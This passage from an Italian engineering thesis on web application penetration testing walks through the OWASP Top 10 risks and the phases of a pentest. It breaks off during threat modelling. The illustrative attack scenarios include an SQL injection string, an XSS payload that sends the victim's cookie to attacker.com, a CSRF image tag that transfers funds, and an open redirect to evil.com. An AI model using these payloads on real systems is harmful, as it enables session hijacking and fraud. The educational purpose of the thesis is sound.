Elaborato Del Prete Antonio N46001386

Scuola Politecnica e delle Scienze di Base
Corso di Laurea Specialistica in Ingegneria Informatica
Elaborato in Calcolatori Elettronici I
Analisi e Tecniche per il Penetration
Testing di Applicazioni Web
Anno Accademico 2015/2016
Candidato
Antonio Del Prete
matr. N46001386
Alla mia famiglia,
che mi ha sempre supportato, e soprattutto sopportato
A Vittorio,
che mi è vicino, sempre e comunque, nonostante la distanza, e che mi ha tenuto in caldo la
sediolina
A Giorgia,
che sa essere affettuosa come poche persone
A Luigi,
un fratello, che riesce sempre a farmi ridere e stare bene
A Salvatore,
la persona più generosa e buona che conosco
Al “dott.” Daniele,
parte di questa laurea è anche merito suo
A Giovanni e Antonio,
i migliori compagni di studio che mi sarebbero potuti capitare
A tutte le esperienze che ho vissuto,
che mi hanno fatto essere la persona che sono e sarò
II
Sommario
Analisi e Tecniche per il Penetration Testing di Applicazioni Web ..................................................... I
Sommario ................................................................................................................................... III
Introduzione ..................................................................................................................................... 4
Capitolo 1: Application Security Risks............................................................................................ 6
1.1 Injection ................................................................................................................................. 7
1.2 Broken Authentication and Session Management ................................................................. 7
1.3 Cross-Site Cripting (XSS) ..................................................................................................... 8
1.4 Insicure Direct Object References ......................................................................................... 9
1.5 Security Misconfiguration ................................................................................................... 10
1.6 Sensitive Data Exposure ...................................................................................................... 11
1.7 Missing Function Level Access Control .............................................................................. 12
1.8 Cross-Site Request Forgery (CSRF) .................................................................................... 12
1.9 Using Components with know Vulnerabilities .................................................................... 13
1.10 Unvalidated Redirects and Forwards ................................................................................. 15
Capitolo 2 : Penetration Testing .................................................................................................... 16
2.1 Planning ............................................................................................................................... 17
2.1.1 Ricerca dell’obbiettivo .................................................................................................. 17
2.1.2 Scoping Meeting ........................................................................................................... 17
2.1.3 Scope Creep .................................................................................................................. 17
2.2 Discovery ............................................................................................................................. 18
2.2.1 Information Gathering e Scanning ................................................................................ 18
2.2.2 Threat Modeling (Analisi delle Minacce) ..................................................................... 18
2.2.3 Analisi delle Vulnerabilità ............................................................................................ 20
2.3 Attack ................................................................................................................................... 21
2.3.1 Tipi di Exploits ............................................................................................................. 22
2.3.2 Contromisure................................................................................................................. 23
2.4 Reporting.............................................................................................................................. 23
2.4.1 Sintesi............................................................................................................................ 23
2.4.2 Technical Report ........................................................................................................... 24
Capitolo 3 : Simulazione di Exploit ............................................................................................... 25
3.1 Fasi Iniziali, comando « ifconfig » e comando «nmap » ..................................................... 25
3.2 Esecuzione dell’Exploit ....................................................................................................... 27
3.3 Sfruttamento dell’exploit e chiusura della sessione ............................................................. 28
Conclusioni .................................................................................................................................... 30
Bibliografia .................................................................................................................................... 31
III
Analisi e Tecniche per il Penetration Testing di Applicazioni Web
Introduzione
Nel mondo in cui viviamo, l’importanza che hanno assunto le informazioni è incredibilmente
aumentata. Di conseguenza, dati bancari, dati personali, username e password legati ad account
privati o informazioni possedute da un’azienda, proprio per il valore che hanno raggiunto,
specialmente economico, devono essere tutelati e protetti. Infatti, con l’avvento di Internet, il numero
di attacchi informatici che puntano a rubare o manomettere i dati posseduti sui vari server è
notevolmente aumentato, quindi, è veramente importante essere pronti a difendersi da questi, andando
ad aumentare la sicurezza del proprio sistema o della rete d’interesse. In questa situazione la figura
del “Penetration Tester” e, di conseguenza, del “Penetration Testing” acquisisce notevole importanza.
Difatti egli ha il compito di dover verificare, tramite degli attacchi simulati, le vulnerabilità che sono
presenti all’interno degli elementi esaminati.
Compiere un test di qualità, richiede che il tester possieda un’adeguata preparazione. Proprio per
formare figure professionali sempre più competenti, esistono organizzazioni quali, ad esempio, il
“SANS Institute”, che si occupa di organizzare numerosi corsi, aventi tutti come tema centrale la
sicurezza informatica, e ognuno di questi fornirà una certificazione finale, atta a testimoniare il livello
delle capacità acquisite. L’Open Web Application Security Project (OWASP), invece, è una open
community, che consente alle organizzazioni di sviluppare, comprare e gestire applicazioni di cui
potersi fidare. Essa fornisce tutta una serie di tool, documenti e forum, gratuiti, perché fondazione
no-profit, allo scopo di realizzare sistemi di sicurezza sempre più efficienti.
Nell’elaborato realizzato, si tratterà, nel primo capitolo, dei rischi cui si è soggetti in assenza di
adeguati sistemi di sicurezza, e si porterà un semplice esempio di uno scenario di attacco per ogni
singolo rischio che esaminato.
4
Analisi e Tecniche per il Penetration Testing di Applicazioni Web
Nel secondo capitolo, si occuperà di analizzare tutte le procedure legate al “Penetration Testing” nella
sua interezza, mostrando tutte le sue fasi, per una migliore comprensione del test in tutte le sue
sfaccettature.
Nel terzo capitolo, infine, si andrà a simulare un la fase di Exploit, tramite l’utilizzo di opportuni
strumenti.
5
Capitolo 1: Application Security Risks
Figura 1
Un attaccante può utilizzare diversi percorsi attraverso i quali poter andare ad attaccare
un’applicazione. Ognuno di questi rappresenta un rischio che può, o no, essere grave al punto da poter
attirare l’attenzione. Alcuni di questi sono facili da trovare o sfruttare, altri sono più complessi. Allo
stesso modo il danno procurato può essere maggiore o minore. Di conseguenza, per calcolare
l’effettivo pericolo che corre la mia applicazione, e di conseguenza la mia organizzazione, c’è la
necessità di dover valutare le minacce portata da ogni offensiva, attraverso l’analisi di diversi fattori
quali, ad esempio, vettori d’attacco e debolezze nel sistema di sicurezza, e combinare il tutto
considerando gli impatti tecnici e finanziari per l’azienda.
È importante evidenziare come, per questo tipo di stima, si deve compiere un ragionamento
“soggettivo”. Questo perché tutti i tipi di calcoli fatti, sono esclusivamente legati agli interessi della
compagnia in gioco.
Proprio in considerazione dell’importanza di tutti i fattori che sono stati messi in risalto, l’analisi dei
rischi che si andrà a eseguire utilizzerà un approccio schematico con l’obbiettivo di avere un quadro
completo e chiaro delle conseguenze che ogni minaccia comporta.
6
1.1 Injection
Le “Injection Flaws” come, ad esempio, le SQL Injection, si hanno quando s’inviano dati non
validi come parte di un comando, o una query, al loro interprete. Il dato può quindi ingannare
l’interprete, che andrà a eseguire comandi non previsti, o accetterà dati per i quali non si ha
l’autorizzazione.
• Agenti di Minaccia: Chiunque può inviare dati non fidati al sistema, come utenti esterni,
interni o amministratori.
• Vettori d’Attacco: L’attaccante invia del semplice testo che sfrutta la sintassi
dell’interprete. Tutte le sorgenti di dati possono essere fonti d’attacco.
• Problematiche di Sicurezza: Un’Injection si ha con un invio di dati non fidati all’interprete.
Queste debolezze sono presenti nel codice legacy, principalmente in query SQL, LDAP,
Xpath o NoSQL, o ad esempio nei comandi OS. L’Injection si può individuare tramite
un’analisi del codice. Scanner e fuzzer possono essere utili in questo processo.
• Impatti Tecnici: Può comportare perdita o corruzione di dati, mancanza di tracciabilità,
negazione d’accesso, o in alcuni casi, la perdita di controllo dell’host.
• Impatti sul Business: Dipende dal valore di business della piattaforma attaccata, e dai dati
che possono esser stati rubati, modificati o cancellati.
Esempio di Scenario di Attacco
L’applicazione utilizza dati non fidati nella costruzione della seguente chiamata SQL vulnerabile:
String
query
=
“SELECT
*
FROM
accounts
WHERE
custID=’”
+
request.getParameter(“id”) +” ’ ”;
L’attaccante modifica ‘id’ nel suo browser affinché sia inviato il valore: ‘or’1’=’1. Ad esempio:
http://example.com/app/accountView?id=’or’1’=’1.
Questo cambia il significato della quei per ottenere tutti i record della tabella ‘account’.
1.2 Broken Authentication and Session Management
Spesso le procedure applicative relative ad autenticazione e alla gestione di sessione sono
implementate in modo non corretto, consentendo agli attaccanti di compromettere password,
chiavi, token di sessione o sfruttare debolezze d’implementazione per assumere l’identità di altri
utenti.
7
• Agenti di Minaccia: Utenti esterni o sconosciuti, intenzionati a rubare account di altri,
oppure utenti interni che vogliono nascondere le loro azioni.
• Vettori di Attacco: Vengono sfruttati difetti nel sistema di gestione della sessione oppure
dell’autenticazione.
• Problematiche di Sicurezza: Spesso gli sviluppatori realizzano approcci personalizzati
nella gestione della sessione e dell’autenticazione. Questi però contengono difetti in varie
aree, come ad esempio la gestione della password o il timeout. Scoprire questi difetti
potrebbe essere complesso, poiché ogni implementazione è unica.
• Impatti Tecnici: Tali difetti consente accesso diretto verso uno o più account. In caso di
successo, l’attaccante ottiene gli stessi privilegi della vittima, quindi gli account dotati di
privilegi sono gli obiettivi più frequenti.
• Impatti sul Business: Dipende sia dal valore di business dei dati coinvolti e sia dall’impatto
sul business della divulgazione della vulnerabilità.
Esempio di Scenario di Attacco
Un timeout di sessione male impostato. L’utente usa un computer pubblico per l’accesso e invece di
fare “logo” chiude semplicemente la scheda del browser. Un attaccante che usa quel browser un’ora
dopo potrebbe trovarlo ancora autenticato.
1.3 Cross-Site Cripting (XSS)
Falle di tipo XSS avvengono quando un’applicazione web riceve dei dati, provenienti da fonti non
affidabili, e li invia a un browser senza un’opportuna validazione e/o “Estaing”. XSS consente agli
attaccanti di eseguire script malevoli sui browser delle vittime. Questi possono andare a dirottare la
sessione dell’utente, defacciare il sito web o re-indirizzare l’utente su un sito malevolo.
• Agenti di Minaccia: Chiunque possa inviare dati non validi al sistema, come utenti esterni,
interni e amministratori.
• Vettori di Attacco: S’inviano sequenze di comandi testuali per forzare l’interprete interno del
browser. Quasi tutte le sorgenti di dati possono essere vettori di attacco, anche quelle interne.
• Problematiche di sicurezza: Lo XSS è il più diffuso sistema di sicurezza nelle applicazioni
web. Questo si manifesta quando un applicativo genera una pagina con dati forniti dall’utente
senza prima di averli validati, o senza aver fatto l’escaping del contenuto. Questi difetti si
trovato tramite l’analisi e il testing del codice.
8
• Impatti Tecnici: L’attaccante può eseguire codice nel browser della vittima con lo scopo di
impadronirsi della sessione della vittima oppure vuole inserire contenuti ostili.
• Impatti sul Business: Dipende sia dal valore di business dei dati coinvolti e sia dall’impatto
sul business della divulgazione della vulnerabilità.
Esempio di Scenario di Attacco
L’applicazione in esame usa dati non controllati per costruire i seguenti snippet HTML, senza
compiere la validazione o l’escaping:
(String)
page
+=
“<input
+request.getParameter(“CC”) + “ ’>;
name
=‘creditcart’
type=‘TEXT’
value=”
L’attaccante modifica il parametro ‘CC’ nel suo browser:
‘><script>document.location=‘http://www.attacker.com/cgibin/cookie.cgi?foo=’+document.cookie</script>’.
Questo causa l’invio dell’ID di sessione appartenente alla vittima al sito web dell’attaccante,
consentendogli di dirottare su di esso la sessione corrente.
1.4 Insicure Direct Object References
Quando uno sviluppatore espone un riferimento all’implementazione interna di un oggetto, come un
file, una directory o una chiave di un database, si ha un riferimento diretto all’oggetto. Senza un
opportuno controllo degli accessi o altre protezioni, gli attaccanti possono manipolare questi
riferimenti per accedere a dati non autorizzati.
• Agenti di Minaccia: Si devono prendere in considerazione i vari tipi di utenti del sistema e
chiedersi se gli utenti hanno accesso solo parzialmente a certi tipi di dati del sistema.
• Vettori di Attacco: L’attaccante, da un utente autorizzato, cambia il valore di un parametro,
che si riferisce direttamente a un oggetto di sistema, con un altro di questo cui non è
autorizzato ad accedere.
• Problematiche di Sicurezza: Le applicazioni non sempre verificano se l’utente è autorizzato o
meno ad accedere a un oggetto. Questo comporta difetti di riferimento di accesso diretto non
sicuro agli oggetti. Per rilevare questi difetti l’analisi del codice mostra velocemente se
l’autorizzazione è verificata in modo corretto.
• Impatti Tecnici: Queste falle compromettono tutti i dati che sono referenziati da un parametro.
È facile per un attaccante accedere a tutti i dati di questo tipo, a meno di riferimenti a oggetti
non predicibili.
9
• Impatti sul Business: Dipende sia dal valore di business dei dati coinvolti e sia dall’impatto
sul business della divulgazione della vulnerabilità.
Esempio di Scenario di Attacco
L’applicazione usa dati non verificati in una chiamata SQL che accede alle informazioni di un
account:
String query = “SELECT * FROM accts WHERE account = ?”;
PreparedStatement pstmt = connection.prepareStatement(query,...);
Pstmt.setString(1, request.geParameter(“acct”));
ResultSet results = Pstmt.executeQuery();
L’attaccante modifica semplicemente il parametro ‘acct’ nel suo browser per inviare il numero di
account che desidera. Se non adeguatamente verificato, l’attaccante può accedere all’account di
qualsiasi utente, invece del solo account cliente consentito.
http://example.com/app/accountinfo?acct=notmyacct
1.5 Security Misconfiguration
Una buona sicurezza richiede un’opportuna configurazione impostata e sviluppata per applicazioni,
frame work, server applicativi, web server, database e piattaforme. Tutte le configurazioni devono
essere definite, implementate e controllate poiché le configurazioni di default non sono sempre
sicure. Inoltre, tutto il software deve essere sempre aggiornato.
• Agenti di Minaccia: Si devono considerare attaccanti anonimi esterni. Inoltre, si devono tener
presenti sia utenti con accessi autorizzati sia quelli interni. Infatti, questi possono voler
nascondere le proprie azioni.
• Vettori di Attacco: Gli attaccanti possono accedere tramite utenti di default, pagine non
utilizzate, difetti non sanati o directory non protette, per ottenere accesso e conoscenza del
sistema.
• Problematiche di Sicurezza: Errate configurazioni di sicurezza si hanno a qualsiasi livello
della pila applicativa. Di conseguenza, gli sviluppatori e gli amministratori di sistema
devono lavorare insieme per assicurare la corretta configurazione di sistema. In questa
situazione, gli scanner automatici, ad esempio, aiutano nell’individuazione di errate
configurazioni o account di default.
• Impatti Tecnici: Questi tipo di difetto può fornire all’attaccante accesso a dati di sistema o ad
alcune funzionalità. Queste debolezze portano a una totale compromissione del sistema.
10
• Impatti sul Business: Il sistema può essere compromesso senza che questo sia visibile,
infatti, tutti i dati possono essere rubati o modificati lentamente nel tempo, e il ripristino può
avere costi elevati.
Esempio di Scenario di Attacco
La visualizzazione del contenuto della directory non è disabilitata. Scoprendo ciò gli attaccanti
possono trovare qualsiasi file, e quindi, scaricarlo, decompilarlo e interpretando le classi Java,
possono ottenere il codice. Questo individua una pericolosa debolezza del controllo di accesso.
1.6 Sensitive Data Exposure
Molte applicazioni web non proteggono adeguatamente dati di grande importanza. Gli attaccanti
possono impossessarsi di questi, o approfittare dei punti deboli nelle misure di protezione per
appropriarsi delle credenziali per l’accesso. Questi dati hanno bisogno di maggior protezione. Infatti,
si possono utilizzare tecniche di crittografia per i dati in transito, oppure speciali precauzioni quando
sono scambiati con il browser.
• Agenti di Minaccia: Chiunque possa accedere a dati confidenziali e a eventuali backup degli
stessi.
• Vettori di Attacco: Un utente malevolo punta a rubare le chiavi crittografiche, intercetta i dati
in transito o direttamente dal browser dell’utente.
• Problematiche di Sicurezza: L’errore più comune che si può commettere è utilizzare chiavi
non cifrate. Altri tipi di errori sono: l’utilizzo di chiavi poco robuste, algoritmi e tecniche di
hashing deboli. È importante notare che le vulnerabilità lato server sono molto difficili da
rilevare, a causa dell’accesso limitato, e inoltre difficili da sfruttare.
• Impatti Tecnici: Le vulnerabilità compromettono dati di grande importanza che devono essere
protetti.
• Impatti sul Business: Dipende dal valore di business dei dati persi e dalle responsabilità legali
che sono inerenti alla gestione dei dati.
Esempio di Scenario di Attacco
Un’applicazione web cifra i numeri di carta di credito utilizzando il sistema di cifratura automatico
di un database, quindi i dati sono automaticamente decifrati quando sono letti. Sfruttando una SQL
injection, di conseguenza, un attaccante riesce a recuperare i numeri di carta di credito in chiaro.
11
1.7 Missing Function Level Access Control
Molte applicazioni verificano il livello dei diritti di accesso prima che la relativa funzionalità sia
resa visibile nell’interfaccia utente. Tuttavia, le applicazioni devono eseguire il controllo degli
accessi al server ogni volta che la funzionalità è acceduta. Se le richieste di accesso non sono
verificate, gli attaccanti possono falsificarle per accedere senza autorizzazione alle funzionalità.
• Agenti di Minaccia: Chiunque, con accesso alla rete, possa inviare richieste
all’applicazione.
• Vettori di Attacco: Un attaccante, un utente registrato, ad esempio, può ottenere l’accesso
cambiando l’URL o un parametro di una funzione privilegiata. Oppure un utente anonimo
potrebbe accedere a funzioni private non protette.
• Problematiche di Sicurezza: Le funzionalità delle applicazioni potrebbero non essere
protette come dovrebbero, infatti, ci potrebbero essere problematiche nella configurazione
dell’accesso a delle funzionalità, oppure gli sviluppatori dovrebbero includere controlli
nel codice e se ne dimenticano.
• Impatti Tecnici: Queste vulnerabilità consente l’accesso non autorizzato alle funzionalità.
Le più attaccate sono quelle amministrative.
• Impatti sul Business: Bisogna considerare il valore di business delle funzionalità esposte
e dei dati usati, inoltre bisogna tenere conto anche dell’impatto sulla reputazione se la
vulnerabilità diventa pubblica.
Esempio di Scenario di Attacco
Per accedere a “getappInfo” bisogna essere autenticati. Per accedere a “admin getappInfo” bisogna
essere autenticati e avere privilegi amministrativi. Pertanto se un attaccante richiama gli URL:
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Se riescono ad accedere a entrambe le funzionalità, come utente anonimo, è presente la vulnerabilità.
Se accede in modo autenticato al secondo, ma non come amministratore, la vulnerabilità è presente e
potrebbe fornire all’attaccante l’accesso a nuove pagine amministrative protette in modo scorretto.
1.8 Cross-Site Request Forgery (CSRF)
Un attacco CSRF forza il browser della vittima a inviare una richiesta http opportunamente forgiata,
includendo i cookie di sessione della vittima e ogni altra informazione di autenticazione, a
12
un’applicazione web vulnerabile. Questo permette all’attaccante di forzare il browser della vittima a
generare richieste che l’applicazione vulnerabile crederà inviate alla vittima.
• Agenti di Minaccia: Sarà chiunque può caricare contenuti all’interno del browser degli utenti.
Un qualsiasi sito o altri feed HTML cui gli utenti accedono.
• Vettori di Attacco: L’attaccante forgia delle richieste HTTP e spinge una vittima a inviarle
tramite tag image, XSS o altre tecniche. Se l’utente è autenticato, ha successo.
• Problematiche di Sicurezza: Il CSRF approfitta del fatto che la maggior parte delle
applicazioni consente agli attaccanti di essere a conoscenza di tutti i dettagli di una particolare
azione. Poiché i browser inviano le credenziali automaticamente, l’attaccante può creare delle
pagine web malevoli per generare delle richieste forgiate, impossibili da distinguere da quelle
lecite.
• Impatti Tecnici: Gli attaccanti spingono la vittima a eseguire un qualsiasi cambio di stato se la
vittima è autorizzata a farlo.
• Impatti sul Business: Dipende dal valore di business dei dati o delle funzionalità applicative
colpite, inoltre bisogna considerare l’impatto sulla reputazione che un attacco del genere
comporterebbe.
Esempio di Scenario di Attacco
L’applicazione permette all’utente di inviare una richiesta che cambia lo stato dell’applicazione senza
includere nulla di segreto:
http://example.com/app/transferFunds?amunt=1500&destinationAccount=4673243243
Così l’attaccante crea una richiesta che trasferisce dei soldi dall’account della vittima al suo e include
questa richiesta in un’immagine o in un frame memorizzato su vari siti sotto il suo controllo:
<img
src=
http://example.com/app/transferFunds?amout=1500&destinationAccount=attackersAcct#”wi
dth= “0” height=”0”/>
Se la vittima visita uno dei siti controllati dall’attaccante quando è autenticato su example.com, la
richiesta forgiata sarà automaticamente eseguita includendo le informazioni di sessione dell’utente,
autorizzando la richiesta dell’attaccante.
1.9 Using Components with know Vulnerabilities
Elementi quali librerie, freme work e altri moduli software sono spesso eseguiti con i privilegi
più alti. Sfruttando un elemento vulnerabile, un attaccante potrebbe ottenere dei dati o accedere
13
al server. Le applicazioni che utilizzano parti con vulnerabilità note possono minare le loro
difese agevolando molte tipologie di attacco con impatti notevoli.
• Agenti di Minaccia: Gli elementi vulnerabili come librerie di frame work, possono essere
identificati e sfruttati con tool automatici. Ciò espande gli agenti di minaccia includendo,
oltre agli attacchi mirati anche quelli caotici.
• Vettori di Attacco: L’attaccante identifica, tramite scanner o manualmente, una parte
vulnerabile. Personalizza l’exploit ed esegue l’attacco. Se il componente è integrato, si
complica il tutto.
• Problematiche di Sicurezza: In teoria, ogni applicazione può presentare questo problema
perché i team di sviluppo non si focalizzano sull’assicurarsi che i propri elementi o
librerie siano aggiornati. Spesso gli sviluppatori non conoscono nemmeno tutto quello
che utilizzano e la loro versione, inoltre la dipendenza tra i vari elementi peggiora
ulteriormente la situazione.
• Impatti Tecnici: L’intera gamma di problematiche è possibile come Injection o XSS.
L’impatto varia da parziale a completa compromissione degli host e dei dati.
• Impatti sul Business: Dipende da ciò che la singola vulnerabilità potrebbe significare per
il business controllato dall’applicazione. Infatti, potrebbe essere insignificante o oppure
rappresentare una completa compromissione.
Esempio di Scenario di Attacco
Le vulnerabilità di questi elementi possono causare qualunque tipo di rischio immaginabile. Poiché
sono eseguiti di solito con i privilegi dell’applicazione, ogni difetto presente potrebbe rivelarsi
serio. Ad esempio i seguenti componenti sono stati scaricati ventidue volte nel 2011:
• Apache CXF Authentication Bypass – Fallendo nel fornire indentity token, gli attaccanti
possono invocare qualsiasi servizio web con pieni privilegi.
• Spring Remote Code Execution – Abusare dell’implementazione dell’Expression Language
in Spring permette agli attaccanti di eseguire codice arbitrario, prendendo il controllo del
server.
Le applicazioni che fanno uso di queste librerie sono vulnerabili poiché entrambi i componenti sono
direttamente accessibili dagli utenti dell’applicazione. Altre librerie vulnerabili, usate a livelli più
bassi dell’applicazione, potrebbero essere più difficili da sfruttare.
14
1.10 Unvalidated Redirects and Forwards
Le applicazioni web spesso reindirizzano (redirect) o inoltrano (forward) gli utenti verso altre
pagine o siti e usano dati non validati per determinare le pagine di destinazione. Senza
un’opportuna validazione, gli attaccanti possono re-indirizzare le vittime verso siti di phising o
di malware o utilizzare il forward per accedere a pagine non autorizzate.
• Agenti di Minaccia: Chiunque possa forzare gli utenti a creare richieste verso il sito,
come ad esempio altri siti, oppure codici HTML.
• Vettori di Attacco: L’attaccante forza l’utente a cliccare su un link con un redirect non
valido. Le vittime sono propense a cliccare sul collegamento, perché appartenente a un
sito valido. L’attaccante punta ai forward insicuri per bypassare i controlli di sicurezza.
• Problematiche di sicurezza: Spesso le applicazioni reindirizzano gli utenti verso altre
pagine o usano forward interni. A volte la destinazione è specificata in un parametro non
validato che permette agli attaccanti di scegliere arbitrariamente la pagina di
destinazione. Rilevare redirect non controllati è semplice. È sufficiente cercarli dove si
può impostare l’URL completo. I forward sono più complessi da trovare perché puntano
a pagine interne.
• Impatti Tecnici: I redirect possono installare malware o chidere agli utenti credenziali o
altre informazioni sensibili. I forward non sicuri possono permettere di aggirare i
controlli d’accesso.
• Impatti sul Business: Si deve considerare come valore di business la fiducia degli utenti,
infatti, questa verrebbe meno se fossero infettati da malware oppure se gli attaccanti
riuscissero ad accedere a funzioni destinate solo a uso interno.
Esempio di Scenario di Attacco
L’applicazione ha una pagina chiamata ‘redirect.jsp’ che riceve un singolo parametro ‘url’.
L’attaccante crea un URL malevolo che reindirizza gli utenti verso un sito malevolo che compie
phishing e installa malware:
http://www.example.com/redirect.jsp?url=evil.com
15
Capitolo 2 : Penetration Testing
Dopo aver analizzato, nel capitolo precedente, le minacce cui si può essere esposti in caso di
vulnerabilità, si analizzerà, ora, l’elemento centrale della nostra trattazione: Il “Penetration Testing”.
Il Penetration Testing è un test di sicurezza nel quale, l’esecutore mima attacchi reali per identificare
modi per aggirare la sicurezza di un sistema, di un’applicazione o di una rete. Queste offensive sono
portare tramite l’uso degli stessi tool e tecniche che userebbero gli attaccanti. Sostanzialmente esso
può andare a determinare, ad esempio, quanto bene un sistema può reggere ad attacchi, oppure quanto
complicati devono essere gli attacchi per danneggiare il sistema, e di conseguenza capire il livello di
complessità che devono possedere le difese. Gli stessi tester, portando attacchi per testare i sistemi di
sicurezza, se non prestano la dovuta attenzione, potrebbero creare dei danni, anche molto seri, al
soggetto della loro analisi, quindi si evince chiaramente che si tratta di un processo molto delicato,
che richiede notevole attenzione, preparazione ed elevate competenze, perché se così non fosse, i
danni provocati potrebbero avere implicazioni molto gravi.
Figura 2
16
Il Penetration Test è composto di quattro fasi. Nella fase di “Planning”, ci sarà un colloquio iniziale,
tra “Pentester” e cliente, dove sono stabilite le regole che saranno seguite nel corso del test, insieme
agli obiettivi che si vogliono raggiungere. Tutto ciò, sarà inserito in un documento approvato dal
cliente. La fase di “Discovery” può essere divisa in due parti. Nella prima si raccoglieranno
informazioni e si eseguirà lo scanning per identificare potenziali obiettivi, nella seconda ci sarà
l’analisi delle vulnerabilità. La fase di “Attack” è il cuore di tutto il processo, infatti, si controlleranno
le vulnerabilità trovate in precedenza, andando a fare “Exploit”. Infine nella fase di “Reporting” si
scriverà un documento che riassumerà tutto ciò che è stato visto, analizzato e riscontrato in tutto l’arco
del test, che sarà presentato ai clienti.
Si analizzeranno, ora, più nel dettaglio tutte le fasi che abbiamo accennato.
2.1 Planning
2.1.1 Ricerca dell’obbiettivo
Il primo e più importante obbiettivo che questa fase raggiungere, è quello di stabilire uno scopo, in
altre parole un obbiettivo finale da voler raggiungere tramite il test. Sottovalutare questo passaggio è
molto pericoloso, infatti, potrebbe creare notevoli problemi nel procedere dell’analisi. Non è insolito
che i tester siano ingaggiati da clienti, che sono inconsapevoli di cosa vogliano che gli sia esaminato.
Perciò è importante che il tester aiuti il cliente, a capire cosa vuole ottenere, tramite l’ausilio di un
questionario, composto di una serie di domande che aiutano, entrambe le parti in causa, a ottenere
una migliore comprensione del problema.
2.1.2 Scoping Meeting
Avere incontri per discutere su quali devono essere gli elementi da testare, è molto utile per voler
realizzare un test ancora più efficiente. È importante che in questo meeting ci sia un moderatore che
si occupi di non far andare la discussione fuori tema.
2.1.3 Scope Creep
Uno dei problemi più frequenti che si possono incontrare è detto “Scope Creep”, in altre parole, una
crescita incontrollata del perimetro d’azione del test. Infatti, l’aggiunta di nuovi obiettivi, senza che
ci sia una dovuta attenzione, può essere il principale motivo di fallimento, poiché si è perso di vista
quello che è lo scopo finale che si deve raggiungere. Un elemento che ci consente di combattere
questo fenomeno è la definizione precisa e rigorosa della data d’inizio e fine test. Infatti, non
potendo sforare sui tempi di consegna, a causa di motivi contrattuali ed economici, si è costretti a
focalizzare l’attenzione su quello che è il reale obbiettivo del test.
17
2.2 Discovery
2.2.1 Information Gathering e Scanning
È un processo tramite il quale si raccolgono più informazioni possibili su un obbiettivo, affinché
possano essere utilizzate a proprio vantaggio nelle fasi successive del test. Ci sono vari metodi per
ottenere le informazioni desiderate: il “Network Port” e il “Service Identification” sono tra questi.
Essi sfruttano dei port scanner al fine di identificare le porte delle reti, i servizi che operano su queste,
e le applicazioni che stanno eseguendo i servizi identificati. Questa tipologia di ricerca d’informazioni
è eseguita al fine di identificare gli host e i punti potenzialmente deboli dei servizi.
Altre tecniche usate per questo tipo di ricerca sono:
•Host name and IP address information: Si possono ottenere in molti modi, come
un’interrogazione DNS, un InterNIC (WHOIS) queries, e tramite internet sniffing.
•Nomi dei dipendenti e informazioni sui contatti: Sono ottenibili compiendo ricerche sui
server Web dell’organizzazione.
•System information: Si possono trovare tramite metodi come “NetBIOS enumeration” e
“Network Information System”.
2.2.2 Threat Modeling (Analisi delle Minacce)
Venire a conoscenza di un gran numero d’informazioni sul sistema che si sta analizzando, consentirà
di avere una conoscenza molto ampia su di esso. Le risorse sono i principali obiettivi degli attacchi,
quindi si deve capire che minacce possono esserci, in relazione all’entità che li andrà ad attaccare.
Analizzare ciò è lo scopo del “Threat Modeling” ovvero l’analisi delle minacce. Per analizzare gli
“assets”, in altre parole le risorse, faremo una distinzione tra “business assets” e “business process”,
mentre per gli attaccanti si faranno considerazioni secondo le minacce che portano e quanto
potenzialmente possono essere dannose.
La fase di Threat Modeling è un passaggio molto critico in un Penetration Test, sia per il tester sia
per l’organizzazione che richieste il test. Questo perché si capisce, con maggior chiarezza quelli che
sono i reali rischi cui si è soggetti, e di conseguenza si capisce con che priorità andarli ad affrontare.
Tutto quello che è analizzato, deve essere documentato, inviato e incluso nel report finale da
consegnare al cliente.
18
Analisi del Business Asset
Quando si fa l’analisi del “Business Asset”, ci concentriamo sulle risorse e sui processi di business
che le supportano. Dall’analisi di questi elementi, il tester deve essere in grado di identificare quali
risorse sarebbero più soggette a un possibile attacco, valutandone anche le conseguenze che ci
sarebbero se fossero perse. Di seguito si analizzeranno alcune categorie, per far meglio comprendere
di che tipo d’informazioni si tratta.
Dati Organizzativi
Politiche, Programmi e Procedure: Definiscono come una società fa business. Questi documenti
sono di particolare interesse poiché identificano sia gli elementi chiave, sia i processi critici che
consentono lo sviluppo e il successo di una società.
Informazioni sul Prodotto: Questa categoria di dati include tutto quello che riguarda brevetti, segreti
commerciali, progetti e qualsiasi altro tipo d’informazione chiave riguardante la società e i loro
processi di business.
Informazioni Finanziarie: I dati finanziari sono spesso i più sensibili e, di conseguenza, i più tutelati
da una società. Infatti, possiamo includere in questo gruppo, ad esempio, informazioni bancarie
oppure quelle sulle carte di credito.
Dati dei Dipendenti: Dobbiamo considerare le informazioni sui dipendenti di una società alla pari di
qualsiasi altro dato posseduto dalla società, difatti, se questi sono considerati importanti, al punto che
una loro eventuale perdita creerebbe dei danni, allora si devono ritenere possibili bersagli per
eventuali attacchi.
Dati dei Clienti: Ancora più che dei dati dei dipendenti, quelli riguardanti i clienti hanno
un’importanza ancora maggiore. Infatti, la loro perdita, per una società, avrebbe conseguenze ancora
maggiori, poiché questa sarebbe ritenuta responsabile, e ciò andrebbe a influire non poco sul giudizio
che si ha di essa. Senza considerare le implicazioni legali che la perdita dei suddetti dati potrebbe
avere.
Capitale Umano: Quando si parla di capitale umano, si deve tener presente che spesso esso gioca un
ruolo chiave nel compromettere la società. Infatti, i dipendenti potrebbero essere i primi a capire
l’importanza di certe informazioni in possesso dell’azienda, e conseguentemente, potrebbero agire
con lo scopo di procurarle danno, manomettendoli, rendendoli vulnerabili o compromettendoli. I
primi da includere in questa categoria sono i dipendenti in possesso di autorizzazione per accedere a
informazioni di rilievo.
Analisi dei Processi di Business
Lo scopo principale in questa fase è fare una distinzione tra quelli che sono i processi critici da quelli
non critici e trovare gli eventuali difetti. Dopo di questo, si avrà una comprensione più profonda di
19
cosa consente alla società di avere dei ricavi. Nella categoria dei processi critici è giusto annoverare
le “Tecniche dei Processi alle Infrastrutture di Supporto”, le “Attività di elaborazione d’informazioni
di Supporto” e i “Processi di Supporto del Capitale Umano”.
Analisi dei “Threat Agent” (Agenti di Minaccia)
Quando si vanno a definire le minacce cui si è esposti, si deve capire se queste provengono
dall’interno, oppure, dall’esterno dell’azienda. Si devono poi accompagnare queste informazioni con
qualsiasi tipo di notizia possa aiutare a capire il motivo che spingerebbe quel determinato agente ad
attaccare delle determinate risorse. Alcune minacce interne potrebbero essere: dipendenti,
amministratori, sviluppatori oppure membri del management. Invece quelle esterne potrebbero
essere: partner d’affari, concorrenti oppure organizzazioni criminali.
